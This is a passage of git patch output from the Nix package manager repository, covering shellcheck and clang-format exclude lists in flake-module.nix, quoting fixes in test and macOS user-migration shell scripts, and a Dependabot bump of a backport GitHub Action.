''^tests/functional/build-remote-trustless-should-pass-1\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-2\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-3\.sh$'' + ''^tests/functional/build-remote-trustless\.sh$'' + ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$'' + ''^tests/functional/build-remote\.sh$'' + ''^tests/functional/build\.sh$'' + ''^tests/functional/ca/build-cache\.sh$'' + ''^tests/functional/ca/build-dry\.sh$'' + ''^tests/functional/ca/build-with-garbage-path\.sh$'' + ''^tests/functional/ca/build\.sh$'' + ''^tests/functional/ca/common\.sh$'' + ''^tests/functional/ca/concurrent-builds\.sh$'' + ''^tests/functional/ca/derivation-json\.sh$'' + ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$'' + ''^tests/functional/ca/eval-store\.sh$'' + ''^tests/functional/ca/gc\.sh$'' + ''^tests/functional/ca/import-derivation\.sh$'' + ''^tests/functional/ca/new-build-cmd\.sh$'' + ''^tests/functional/ca/nix-copy\.sh$'' + ''^tests/functional/ca/nix-run\.sh$'' + ''^tests/functional/ca/nix-shell\.sh$'' + ''^tests/functional/ca/post-hook\.sh$'' + ''^tests/functional/ca/recursive\.sh$'' + ''^tests/functional/ca/repl\.sh$'' + ''^tests/functional/ca/selfref-gc\.sh$'' + ''^tests/functional/ca/signatures\.sh$'' + ''^tests/functional/ca/substitute\.sh$'' + ''^tests/functional/ca/why-depends\.sh$'' + ''^tests/functional/case-hack\.sh$'' + ''^tests/functional/check-refs\.sh$'' + ''^tests/functional/check-reqs\.sh$'' + ''^tests/functional/check\.sh$'' + ''^tests/functional/chroot-store\.sh$'' + ''^tests/functional/common\.sh$'' + ''^tests/functional/common/init\.sh$'' + ''^tests/functional/completions\.sh$'' + ''^tests/functional/compression-levels\.sh$'' + ''^tests/functional/compute-levels\.sh$'' + ''^tests/functional/config\.sh$'' + ''^tests/functional/db-migration\.sh$'' + ''^tests/functional/debugger\.sh$'' + ''^tests/functional/dependencies\.builder0\.sh$'' + ''^tests/functional/dependencies\.sh$'' + ''^tests/functional/derivation-json\.sh$'' + ''^tests/functional/dump-db\.sh$'' + ''^tests/functional/dyn-drv/build-built-drv\.sh$'' + ''^tests/functional/dyn-drv/common\.sh$'' + ''^tests/functional/dyn-drv/dep-built-drv\.sh$'' + ''^tests/functional/dyn-drv/eval-outputOf\.sh$'' + ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$'' + ''^tests/functional/dyn-drv/recursive-mod-json\.sh$'' + ''^tests/functional/dyn-drv/text-hashed-output\.sh$'' + ''^tests/functional/eval-store\.sh$'' + ''^tests/functional/eval\.sh$'' + ''^tests/functional/experimental-features\.sh$'' + ''^tests/functional/export-graph\.sh$'' + ''^tests/functional/export\.sh$'' + ''^tests/functional/extra-sandbox-profile\.sh$'' + ''^tests/functional/fetchClosure\.sh$'' + ''^tests/functional/fetchGit\.sh$'' + ''^tests/functional/fetchGitRefs\.sh$'' + ''^tests/functional/fetchGitSubmodules\.sh$'' + ''^tests/functional/fetchGitVerification\.sh$'' + ''^tests/functional/fetchMercurial\.sh$'' + ''^tests/functional/fetchPath\.sh$'' + ''^tests/functional/fetchTree-file\.sh$'' + ''^tests/functional/fetchurl\.sh$'' + ''^tests/functional/filter-source\.sh$'' + ''^tests/functional/fixed\.builder1\.sh$'' + ''^tests/functional/fixed\.builder2\.sh$'' + ''^tests/functional/fixed\.sh$'' + ''^tests/functional/flakes/absolute-attr-paths\.sh$'' + ''^tests/functional/flakes/absolute-paths\.sh$'' + ''^tests/functional/flakes/build-paths\.sh$'' + ''^tests/functional/flakes/bundle\.sh$'' + ''^tests/functional/flakes/check\.sh$'' + ''^tests/functional/flakes/circular\.sh$'' + ''^tests/functional/flakes/common\.sh$'' + ''^tests/functional/flakes/config\.sh$'' + ''^tests/functional/flakes/develop\.sh$'' + ''^tests/functional/flakes/flake-in-submodule\.sh$'' + ''^tests/functional/flakes/flakes\.sh$'' + ''^tests/functional/flakes/follow-paths\.sh$'' + ''^tests/functional/flakes/init\.sh$'' + ''^tests/functional/flakes/inputs\.sh$'' + ''^tests/functional/flakes/mercurial\.sh$'' + ''^tests/functional/flakes/prefetch\.sh$'' + ''^tests/functional/flakes/run\.sh$'' + ''^tests/functional/flakes/search-root\.sh$'' + ''^tests/functional/flakes/show\.sh$'' + ''^tests/functional/flakes/unlocked-override\.sh$'' + ''^tests/functional/fmt\.sh$'' + ''^tests/functional/fmt\.simple\.sh$'' + ''^tests/functional/function-trace\.sh$'' + ''^tests/functional/gc-auto\.sh$'' + ''^tests/functional/gc-concurrent\.builder\.sh$'' + ''^tests/functional/gc-concurrent\.sh$'' + ''^tests/functional/gc-concurrent2\.builder\.sh$'' + ''^tests/functional/gc-non-blocking\.sh$'' + ''^tests/functional/gc-runtime\.sh$'' + ''^tests/functional/gc\.sh$'' + ''^tests/functional/git-hashing/common\.sh$'' + ''^tests/functional/git-hashing/simple\.sh$'' + ''^tests/functional/hash-convert\.sh$'' + ''^tests/functional/hash-path\.sh$'' + ''^tests/functional/help\.sh$'' + ''^tests/functional/import-derivation\.sh$'' + ''^tests/functional/impure-derivations\.sh$'' + ''^tests/functional/impure-env\.sh$'' + ''^tests/functional/impure-eval\.sh$'' + ''^tests/functional/install-darwin\.sh$'' + ''^tests/functional/lang-test-infra\.sh$'' + ''^tests/functional/lang\.sh$'' + ''^tests/functional/lang/framework\.sh$'' + ''^tests/functional/legacy-ssh-store\.sh$'' + ''^tests/functional/linux-sandbox\.sh$'' + ''^tests/functional/local-overlay-store/add-lower-inner\.sh$'' + ''^tests/functional/local-overlay-store/add-lower\.sh$'' + ''^tests/functional/local-overlay-store/bad-uris\.sh$'' + ''^tests/functional/local-overlay-store/build-inner\.sh$'' + ''^tests/functional/local-overlay-store/build\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init-inner\.sh$'' + ''^tests/functional/local-overlay-store/check-post-init\.sh$'' + ''^tests/functional/local-overlay-store/common\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-duplicate\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs-inner\.sh$'' + ''^tests/functional/local-overlay-store/delete-refs\.sh$'' + ''^tests/functional/local-overlay-store/gc-inner\.sh$'' + ''^tests/functional/local-overlay-store/gc\.sh$'' + ''^tests/functional/local-overlay-store/optimise-inner\.sh$'' + ''^tests/functional/local-overlay-store/optimise\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add-inner\.sh$'' + ''^tests/functional/local-overlay-store/redundant-add\.sh$'' + ''^tests/functional/local-overlay-store/remount\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle-inner\.sh$'' + ''^tests/functional/local-overlay-store/stale-file-handle\.sh$'' + ''^tests/functional/local-overlay-store/verify-inner\.sh$'' + ''^tests/functional/local-overlay-store/verify\.sh$'' + ''^tests/functional/logging\.sh$'' + ''^tests/functional/misc\.sh$'' + ''^tests/functional/multiple-outputs\.sh$'' + ''^tests/functional/nar-access\.sh$'' + ''^tests/functional/nested-sandboxing\.sh$'' + ''^tests/functional/nested-sandboxing/command\.sh$'' + ''^tests/functional/nix-build\.sh$'' + ''^tests/functional/nix-channel\.sh$'' + ''^tests/functional/nix-collect-garbage-d\.sh$'' + ''^tests/functional/nix-copy-ssh-common\.sh$'' + ''^tests/functional/nix-copy-ssh-ng\.sh$'' + ''^tests/functional/nix-copy-ssh\.sh$'' + ''^tests/functional/nix-daemon-untrusting\.sh$'' + ''^tests/functional/nix-profile\.sh$'' + ''^tests/functional/nix-shell\.sh$'' + ''^tests/functional/nix_path\.sh$'' + ''^tests/functional/optimise-store\.sh$'' + ''^tests/functional/output-normalization\.sh$'' + ''^tests/functional/parallel\.builder\.sh$'' + ''^tests/functional/parallel\.sh$'' + ''^tests/functional/pass-as-file\.sh$'' + ''^tests/functional/path-from-hash-part\.sh$'' + ''^tests/functional/path-info\.sh$'' + ''^tests/functional/placeholders\.sh$'' + ''^tests/functional/plugins\.sh$'' + ''^tests/functional/post-hook\.sh$'' + ''^tests/functional/pure-eval\.sh$'' + ''^tests/functional/push-to-store-old\.sh$'' + ''^tests/functional/push-to-store\.sh$'' + ''^tests/functional/read-only-store\.sh$'' + ''^tests/functional/readfile-context\.sh$'' + ''^tests/functional/recursive\.sh$'' + ''^tests/functional/referrers\.sh$'' + ''^tests/functional/remote-store\.sh$'' + ''^tests/functional/repair\.sh$'' + ''^tests/functional/restricted\.sh$'' + ''^tests/functional/search\.sh$'' + ''^tests/functional/secure-drv-outputs\.sh$'' + ''^tests/functional/selfref-gc\.sh$'' + ''^tests/functional/shell\.sh$'' + ''^tests/functional/shell\.shebang\.sh$'' + ''^tests/functional/signing\.sh$'' + ''^tests/functional/simple\.builder\.sh$'' + ''^tests/functional/simple\.sh$'' + ''^tests/functional/ssh-relay\.sh$'' + ''^tests/functional/store-info\.sh$'' + ''^tests/functional/structured-attrs\.sh$'' + ''^tests/functional/substitute-with-invalid-ca\.sh$'' + ''^tests/functional/suggestions\.sh$'' + ''^tests/functional/supplementary-groups\.sh$'' + ''^tests/functional/tarball\.sh$'' + ''^tests/functional/test-infra\.sh$'' + ''^tests/functional/test-libstoreconsumer\.sh$'' + ''^tests/functional/timeout\.sh$'' + ''^tests/functional/toString-path\.sh$'' + ''^tests/functional/user-envs-migration\.sh$'' + ''^tests/functional/user-envs-test-case\.sh$'' + ''^tests/functional/user-envs\.builder\.sh$'' + ''^tests/functional/user-envs\.sh$'' + ''^tests/functional/why-depends\.sh$'' + ''^tests/functional/zstd\.sh$'' + ''^tests/unit/libutil/data/git/check-data\.sh$'' ]; }; diff --git a/mk/common-test.sh b/mk/common-test.sh index 2abea7887..de24b6fcc 100644 --- a/mk/common-test.sh +++ b/mk/common-test.sh @@ -1,19 +1,24 @@ +# shellcheck shell=bash + # Remove overall test dir (at most one of the two should match) and # remove file extension. + +# shellcheck disable=SC2154 test_name=$(echo -n "$test" | sed \ -e "s|^tests/unit/[^/]*/data/||" \ -e "s|^tests/functional/||" \ -e "s|\.sh$||" \ ) +# shellcheck disable=SC2016 TESTS_ENVIRONMENT=( "TEST_NAME=$test_name" 'NIX_REMOTE=' 'PS4=+(${BASH_SOURCE[0]-$0}:$LINENO) ' ) -: ${BASH:=/usr/bin/env bash} +read -r -a bash <<< "${BASH:-/usr/bin/env bash}" run () { - cd "$(dirname $1)" && env "${TESTS_ENVIRONMENT[@]}" $BASH -x -e -u -o pipefail $(basename $1) + cd "$(dirname "$1")" && env "${TESTS_ENVIRONMENT[@]}" "${bash[@]}" -x -e -u -o pipefail "$(basename "$1")" } diff --git a/mk/run-test.sh b/mk/run-test.sh index 1256bfcf7..543c845e1 100755 --- a/mk/run-test.sh +++ b/mk/run-test.sh @@ -26,12 +26,13 @@ run_test () { run_test -if [ $status -eq 0 ]; then +if [[ "$status" = 0 ]]; then echo "$post_run_msg [${green}PASS$normal]" -elif [ $status -eq 99 ]; then +elif [[ "$status" = 99 ]]; then echo "$post_run_msg [${yellow}SKIP$normal]" else echo "$post_run_msg [${red}FAIL$normal]" + # shellcheck disable=SC2001 echo "$log" | sed 's/^/ /' exit "$status" fi diff --git a/scripts/bigsur-nixbld-user-migration.sh b/scripts/bigsur-nixbld-user-migration.sh index f1619fd56..0eb312e07 100755 --- a/scripts/bigsur-nixbld-user-migration.sh +++ b/scripts/bigsur-nixbld-user-migration.sh @@ -3,7 +3,7 @@ ((NEW_NIX_FIRST_BUILD_UID=301)) id_available(){ - dscl . list /Users UniqueID | grep -E '\b'$1'\b' >/dev/null + dscl . list /Users UniqueID | grep -E '\b'"$1"'\b' >/dev/null } change_nixbld_names_and_ids(){ @@ -26,18 +26,18 @@ change_nixbld_names_and_ids(){ fi done - if [[ $name == _* ]]; then + if [[ "$name" == _* ]]; then echo " It looks like $name has already been renamed--skipping." else # first 3 are cleanup, it's OK if they aren't here - sudo dscl . delete /Users/$name dsAttrTypeNative:_writers_passwd &>/dev/null || true - sudo dscl . change /Users/$name NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true + sudo dscl . delete "/Users/$name" dsAttrTypeNative:_writers_passwd &>/dev/null || true + sudo dscl . change "/Users/$name" NFSHomeDirectory "/private/var/empty 1" "/var/empty" &>/dev/null || true # remove existing user from group - sudo dseditgroup -o edit -t user -d $name nixbld || true - sudo dscl . change /Users/$name UniqueID $uid $next_id - sudo dscl . change /Users/$name RecordName $name _$name + sudo dseditgroup -o edit -t user -d "$name" nixbld || true + sudo dscl . change "/Users/$name" UniqueID "$uid" "$next_id" + sudo dscl . change "/Users/$name" RecordName "$name" "_$name" # add renamed user to group - sudo dseditgroup -o edit -t user -a _$name nixbld + sudo dseditgroup -o edit -t user -a "_$name" nixbld echo " $name migrated to _$name (uid: $next_id)" fi done < <(dscl . list /Users UniqueID | grep nixbld | sort -n -k2) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index f11fa7140..222145a7a 100644 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -1,3 +1,4 @@ +#!/usr/bin/env bash source common.sh testDir="$PWD" @@ -21,11 +22,14 @@ import $testDir/undefined-variable.nix " testRepl () { - local nixArgs=("$@") + local nixArgs + nixArgs=("$@") rm -rf repl-result-out || true # cleanup from other runs backed by a foreign nix store - local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")" + local replOutput + replOutput="$(nix repl "${nixArgs[@]}" <<< "$replCmds")" echo "$replOutput" - local outPath=$(echo "$replOutput" |& + local outPath + outPath=$(echo "$replOutput" |& grep -o -E "$NIX_STORE_DIR/\w*-simple") nix path-info "${nixArgs[@]}" "$outPath" [ "$(realpath ./repl-result-out)" == "$outPath" ] || fail "nix repl :bl doesn't make a symlink" @@ -34,11 +38,11 @@ testRepl () { # simple.nix prints a PATH during build echo "$replOutput" | grepQuiet -s 'PATH=' || fail "nix repl :log doesn't output logs" - local replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)" + replOutput="$(nix repl "${nixArgs[@]}" <<< "$replFailingCmds" 2>&1)" echo "$replOutput" echo "$replOutput" | grepQuiet -s 'This should fail' \ || fail "nix repl :log doesn't output logs for a failed derivation" - local replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)" + replOutput="$(nix repl --show-trace "${nixArgs[@]}" <<< "$replUndefinedVariable" 2>&1)" echo "$replOutput" echo "$replOutput" | grepQuiet -s "while evaluating the file" \ || fail "nix repl --show-trace doesn't show the trace" @@ -48,7 +52,7 @@ testRepl () { nix repl "${nixArgs[@]}" 2>&1 <<< "builtins.currentSystem" \ | grep "$(nix-instantiate --eval -E 'builtins.currentSystem')" - expectStderr 1 nix repl ${testDir}/simple.nix \ + expectStderr 1 nix repl "${testDir}/simple.nix" \ | grepQuiet -s "error: path '$testDir/simple.nix' is not a flake" } @@ -63,10 +67,11 @@ stripColors () { } testReplResponseGeneral () { - local grepMode="$1"; shift - local commands="$1"; shift - local expectedResponse="$1"; shift - local response="$(nix repl "$@" <<< "$commands" | stripColors)" + local grepMode commands expectedResponse response + grepMode="$1"; shift + commands="$1"; shift + expectedResponse="$1"; shift + response="$(nix repl "$@" <<< "$commands" | stripColors)" echo "$response" | grepQuiet "$grepMode" -s "$expectedResponse" \ || fail "repl command set: @@ -91,6 +96,8 @@ testReplResponseNoRegex () { } # :a uses the newest version of a symbol +# +# shellcheck disable=SC2016 testReplResponse ' :a { a = "1"; } :a { a = "2"; } @@ -101,6 +108,8 @@ testReplResponse ' # note the escaped \, # \\ # because the second argument is a regex +# +# shellcheck disable=SC2016 testReplResponseNoRegex ' "$" + "{hi}" ' '"\${hi}"' @@ -108,12 +117,12 @@ testReplResponseNoRegex ' testReplResponse ' drvPath ' '".*-simple.drv"' \ ---file $testDir/simple.nix +--file "$testDir/simple.nix" testReplResponse ' drvPath ' '".*-simple.drv"' \ ---file $testDir/simple.nix --experimental-features 'ca-derivations' +--file "$testDir/simple.nix" --experimental-features 'ca-derivations' mkdir -p flake && cat < flake/flake.nix { From d7b04d61a91fab9f97a271fe973d98596fe7a3dd Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 28 May 2024 13:10:48 +0000 Subject: [PATCH 0674/1251] Bump zeebe-io/backport-action from 2.5.0 to 3.0.2 Bumps [zeebe-io/backport-action](https://github.com/zeebe-io/backport-action) from 2.5.0 to 3.0.2. - [Release notes](https://github.com/zeebe-io/backport-action/releases) - [Commits](https://github.com/zeebe-io/backport-action/compare/v2.5.0...v3.0.2) --- updated-dependencies: - dependency-name: zeebe-io/backport-action dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/backport.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml index 8f83b913c..dd110de6c 100644 --- a/.github/workflows/backport.yml +++ b/.github/workflows/backport.yml @@ -21,7 +21,7 @@ jobs: fetch-depth: 0 - name: Create backport PRs # should be kept in sync with `version` - uses: zeebe-io/backport-action@v2.5.0 + uses: zeebe-io/backport-action@v3.0.2 with: # Config README: https://github.com/zeebe-io/backport-action#backport-action github_token: ${{ secrets.GITHUB_TOKEN }} From ebc29017fc2971d2dc36007a8d5114e695997923 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 28 May 2024 09:28:06 -0400 Subject: [PATCH 0675/1251] dev shell: excludes are per hook As suggested by Robert in https://github.com/NixOS/nix/pull/10787#discussion_r1617145374 --- maintainers/flake-module.nix | 1425 +++++++++++++++++----------------- 1 file changed, 714 insertions(+), 711 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index dd986e686..1f19c673a 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -10,720 +10,723 @@ # https://flake.parts/options/pre-commit-hooks-nix.html#options pre-commit.settings = { hooks = { - clang-format.enable = true; - shellcheck.enable = true; + clang-format = { + enable = true; + excludes = [ + # We don't want to format test data + # ''tests/(?!nixos/).*\.nix'' + ''^tests/unit/[^/]*/data/.*$'' + + # Don't format vendored code + ''^src/toml11/.*'' + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + + # We haven't applied formatting to these files yet + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + ''^precompiled-headers\.h$'' + ''^src/build-remote/build-remote\.cc$'' + ''^src/libcmd/built-path\.cc$'' + ''^src/libcmd/built-path\.hh$'' + ''^src/libcmd/command\.cc$'' + ''^src/libcmd/command\.hh$'' + ''^src/libcmd/common-eval-args\.cc$'' + ''^src/libcmd/common-eval-args\.hh$'' + ''^src/libcmd/editor-for\.cc$'' + ''^src/libcmd/installable-attr-path\.cc$'' + ''^src/libcmd/installable-attr-path\.hh$'' + ''^src/libcmd/installable-derived-path\.cc$'' + ''^src/libcmd/installable-derived-path\.hh$'' + ''^src/libcmd/installable-flake\.cc$'' + ''^src/libcmd/installable-flake\.hh$'' + ''^src/libcmd/installable-value\.cc$'' + ''^src/libcmd/installable-value\.hh$'' + ''^src/libcmd/installables\.cc$'' + ''^src/libcmd/installables\.hh$'' + ''^src/libcmd/legacy\.hh$'' + ''^src/libcmd/markdown\.cc$'' + ''^src/libcmd/misc-store-flags\.cc$'' + ''^src/libcmd/repl-interacter\.cc$'' + ''^src/libcmd/repl-interacter\.hh$'' + ''^src/libcmd/repl\.cc$'' + ''^src/libcmd/repl\.hh$'' + ''^src/libexpr-c/nix_api_expr\.cc$'' + ''^src/libexpr-c/nix_api_external\.cc$'' + ''^src/libexpr/attr-path\.cc$'' + ''^src/libexpr/attr-path\.hh$'' + ''^src/libexpr/attr-set\.cc$'' + ''^src/libexpr/attr-set\.hh$'' + ''^src/libexpr/eval-cache\.cc$'' + ''^src/libexpr/eval-cache\.hh$'' + ''^src/libexpr/eval-error\.cc$'' + ''^src/libexpr/eval-inline\.hh$'' + ''^src/libexpr/eval-settings\.cc$'' + ''^src/libexpr/eval-settings\.hh$'' + ''^src/libexpr/eval\.cc$'' + ''^src/libexpr/eval\.hh$'' + ''^src/libexpr/flake/config\.cc$'' + ''^src/libexpr/flake/flake\.cc$'' + ''^src/libexpr/flake/flake\.hh$'' + ''^src/libexpr/flake/flakeref\.cc$'' + ''^src/libexpr/flake/flakeref\.hh$'' + ''^src/libexpr/flake/lockfile\.cc$'' + ''^src/libexpr/flake/lockfile\.hh$'' + ''^src/libexpr/flake/url-name\.cc$'' + ''^src/libexpr/function-trace\.cc$'' + ''^src/libexpr/gc-small-vector\.hh$'' + ''^src/libexpr/get-drvs\.cc$'' + ''^src/libexpr/get-drvs\.hh$'' + ''^src/libexpr/json-to-value\.cc$'' + ''^src/libexpr/nixexpr\.cc$'' + ''^src/libexpr/nixexpr\.hh$'' + ''^src/libexpr/parser-state\.hh$'' + ''^src/libexpr/pos-table\.hh$'' + ''^src/libexpr/primops\.cc$'' + ''^src/libexpr/primops\.hh$'' + ''^src/libexpr/primops/context\.cc$'' + ''^src/libexpr/primops/fetchClosure\.cc$'' + ''^src/libexpr/primops/fetchMercurial\.cc$'' + ''^src/libexpr/primops/fetchTree\.cc$'' + ''^src/libexpr/primops/fromTOML\.cc$'' + ''^src/libexpr/print-ambiguous\.cc$'' + ''^src/libexpr/print-ambiguous\.hh$'' + ''^src/libexpr/print-options\.hh$'' + ''^src/libexpr/print\.cc$'' + ''^src/libexpr/print\.hh$'' + ''^src/libexpr/search-path\.cc$'' + ''^src/libexpr/symbol-table\.hh$'' + ''^src/libexpr/value-to-json\.cc$'' + ''^src/libexpr/value-to-json\.hh$'' + ''^src/libexpr/value-to-xml\.cc$'' + ''^src/libexpr/value-to-xml\.hh$'' + ''^src/libexpr/value\.hh$'' + ''^src/libexpr/value/context\.cc$'' + ''^src/libexpr/value/context\.hh$'' + ''^src/libfetchers/attrs\.cc$'' + ''^src/libfetchers/cache\.cc$'' + ''^src/libfetchers/cache\.hh$'' + ''^src/libfetchers/fetch-settings\.cc$'' + ''^src/libfetchers/fetch-settings\.hh$'' + ''^src/libfetchers/fetch-to-store\.cc$'' + ''^src/libfetchers/fetchers\.cc$'' + ''^src/libfetchers/fetchers\.hh$'' + ''^src/libfetchers/filtering-source-accessor\.cc$'' + ''^src/libfetchers/filtering-source-accessor\.hh$'' + ''^src/libfetchers/fs-source-accessor\.cc$'' + ''^src/libfetchers/fs-source-accessor\.hh$'' + ''^src/libfetchers/git-utils\.cc$'' + ''^src/libfetchers/git-utils\.hh$'' + ''^src/libfetchers/github\.cc$'' + ''^src/libfetchers/indirect\.cc$'' + ''^src/libfetchers/memory-source-accessor\.cc$'' + ''^src/libfetchers/path\.cc$'' + ''^src/libfetchers/registry\.cc$'' + ''^src/libfetchers/registry\.hh$'' + ''^src/libfetchers/tarball\.cc$'' + ''^src/libfetchers/tarball\.hh$'' + ''^src/libfetchers/unix/git\.cc$'' + ''^src/libfetchers/unix/mercurial\.cc$'' + ''^src/libmain/common-args\.cc$'' + ''^src/libmain/common-args\.hh$'' + ''^src/libmain/loggers\.cc$'' + ''^src/libmain/loggers\.hh$'' + ''^src/libmain/progress-bar\.cc$'' + ''^src/libmain/shared\.cc$'' + ''^src/libmain/shared\.hh$'' + ''^src/libmain/unix/stack\.cc$'' + ''^src/libstore/binary-cache-store\.cc$'' + ''^src/libstore/binary-cache-store\.hh$'' + ''^src/libstore/build-result\.hh$'' + ''^src/libstore/builtins\.hh$'' + ''^src/libstore/builtins/buildenv\.cc$'' + ''^src/libstore/builtins/buildenv\.hh$'' + ''^src/libstore/common-protocol-impl\.hh$'' + ''^src/libstore/common-protocol\.cc$'' + ''^src/libstore/common-protocol\.hh$'' + ''^src/libstore/content-address\.cc$'' + ''^src/libstore/content-address\.hh$'' + ''^src/libstore/daemon\.cc$'' + ''^src/libstore/daemon\.hh$'' + ''^src/libstore/derivations\.cc$'' + ''^src/libstore/derivations\.hh$'' + ''^src/libstore/derived-path-map\.cc$'' + ''^src/libstore/derived-path-map\.hh$'' + ''^src/libstore/derived-path\.cc$'' + ''^src/libstore/derived-path\.hh$'' + ''^src/libstore/downstream-placeholder\.cc$'' + ''^src/libstore/downstream-placeholder\.hh$'' + ''^src/libstore/dummy-store\.cc$'' + ''^src/libstore/export-import\.cc$'' + ''^src/libstore/filetransfer\.cc$'' + ''^src/libstore/filetransfer\.hh$'' + ''^src/libstore/gc-store\.hh$'' + ''^src/libstore/globals\.cc$'' + ''^src/libstore/globals\.hh$'' + ''^src/libstore/http-binary-cache-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.hh$'' + ''^src/libstore/length-prefixed-protocol-helper\.hh$'' + ''^src/libstore/linux/personality\.cc$'' + ''^src/libstore/linux/personality\.hh$'' + ''^src/libstore/local-binary-cache-store\.cc$'' + ''^src/libstore/local-fs-store\.cc$'' + ''^src/libstore/local-fs-store\.hh$'' + ''^src/libstore/log-store\.cc$'' + ''^src/libstore/log-store\.hh$'' + ''^src/libstore/machines\.cc$'' + ''^src/libstore/machines\.hh$'' + ''^src/libstore/make-content-addressed\.cc$'' + ''^src/libstore/make-content-addressed\.hh$'' + ''^src/libstore/misc\.cc$'' + ''^src/libstore/names\.cc$'' + ''^src/libstore/names\.hh$'' + ''^src/libstore/nar-accessor\.cc$'' + ''^src/libstore/nar-accessor\.hh$'' + ''^src/libstore/nar-info-disk-cache\.cc$'' + ''^src/libstore/nar-info-disk-cache\.hh$'' + ''^src/libstore/nar-info\.cc$'' + ''^src/libstore/nar-info\.hh$'' + ''^src/libstore/outputs-spec\.cc$'' + ''^src/libstore/outputs-spec\.hh$'' + ''^src/libstore/parsed-derivations\.cc$'' + ''^src/libstore/path-info\.cc$'' + ''^src/libstore/path-info\.hh$'' + ''^src/libstore/path-references\.cc$'' + ''^src/libstore/path-regex\.hh$'' + ''^src/libstore/path-with-outputs\.cc$'' + ''^src/libstore/path\.cc$'' + ''^src/libstore/path\.hh$'' + ''^src/libstore/pathlocks\.cc$'' + ''^src/libstore/pathlocks\.hh$'' + ''^src/libstore/profiles\.cc$'' + ''^src/libstore/profiles\.hh$'' + ''^src/libstore/realisation\.cc$'' + ''^src/libstore/realisation\.hh$'' + ''^src/libstore/remote-fs-accessor\.cc$'' + ''^src/libstore/remote-fs-accessor\.hh$'' + ''^src/libstore/remote-store-connection\.hh$'' + ''^src/libstore/remote-store\.cc$'' + ''^src/libstore/remote-store\.hh$'' + ''^src/libstore/s3-binary-cache-store\.cc$'' + ''^src/libstore/s3\.hh$'' + ''^src/libstore/serve-protocol-impl\.cc$'' + ''^src/libstore/serve-protocol-impl\.hh$'' + ''^src/libstore/serve-protocol\.cc$'' + ''^src/libstore/serve-protocol\.hh$'' + ''^src/libstore/sqlite\.cc$'' + ''^src/libstore/sqlite\.hh$'' + ''^src/libstore/ssh-store-config\.hh$'' + ''^src/libstore/ssh-store\.cc$'' + ''^src/libstore/ssh\.cc$'' + ''^src/libstore/ssh\.hh$'' + ''^src/libstore/store-api\.cc$'' + ''^src/libstore/store-api\.hh$'' + ''^src/libstore/store-dir-config\.hh$'' + ''^src/libstore/unix/build/derivation-goal\.cc$'' + ''^src/libstore/unix/build/derivation-goal\.hh$'' + ''^src/libstore/build/drv-output-substitution-goal\.cc$'' + ''^src/libstore/build/drv-output-substitution-goal\.hh$'' + ''^src/libstore/build/entry-points\.cc$'' + ''^src/libstore/build/goal\.cc$'' + ''^src/libstore/build/goal\.hh$'' + ''^src/libstore/unix/build/hook-instance\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.hh$'' + ''^src/libstore/build/substitution-goal\.cc$'' + ''^src/libstore/build/substitution-goal\.hh$'' + ''^src/libstore/build/worker\.cc$'' + ''^src/libstore/build/worker\.hh$'' + ''^src/libstore/unix/builtins/fetchurl\.cc$'' + ''^src/libstore/unix/builtins/unpack-channel\.cc$'' + ''^src/libstore/gc\.cc$'' + ''^src/libstore/unix/local-overlay-store\.cc$'' + ''^src/libstore/unix/local-overlay-store\.hh$'' + ''^src/libstore/local-store\.cc$'' + ''^src/libstore/local-store\.hh$'' + ''^src/libstore/unix/user-lock\.cc$'' + ''^src/libstore/unix/user-lock\.hh$'' + ''^src/libstore/optimise-store\.cc$'' + ''^src/libstore/unix/pathlocks\.cc$'' + ''^src/libstore/posix-fs-canonicalise\.cc$'' + ''^src/libstore/posix-fs-canonicalise\.hh$'' + ''^src/libstore/uds-remote-store\.cc$'' + ''^src/libstore/uds-remote-store\.hh$'' + ''^src/libstore/windows/build\.cc$'' + ''^src/libstore/worker-protocol-impl\.hh$'' + ''^src/libstore/worker-protocol\.cc$'' + ''^src/libstore/worker-protocol\.hh$'' + ''^src/libutil-c/nix_api_util_internal\.h$'' + ''^src/libutil/archive\.cc$'' + ''^src/libutil/archive\.hh$'' + ''^src/libutil/args\.cc$'' + ''^src/libutil/args\.hh$'' + ''^src/libutil/args/root\.hh$'' + ''^src/libutil/callback\.hh$'' + ''^src/libutil/canon-path\.cc$'' + ''^src/libutil/canon-path\.hh$'' + ''^src/libutil/chunked-vector\.hh$'' + ''^src/libutil/closure\.hh$'' + ''^src/libutil/comparator\.hh$'' + ''^src/libutil/compute-levels\.cc$'' + ''^src/libutil/config-impl\.hh$'' + ''^src/libutil/config\.cc$'' + ''^src/libutil/config\.hh$'' + ''^src/libutil/current-process\.cc$'' + ''^src/libutil/current-process\.hh$'' + ''^src/libutil/english\.cc$'' + ''^src/libutil/english\.hh$'' + 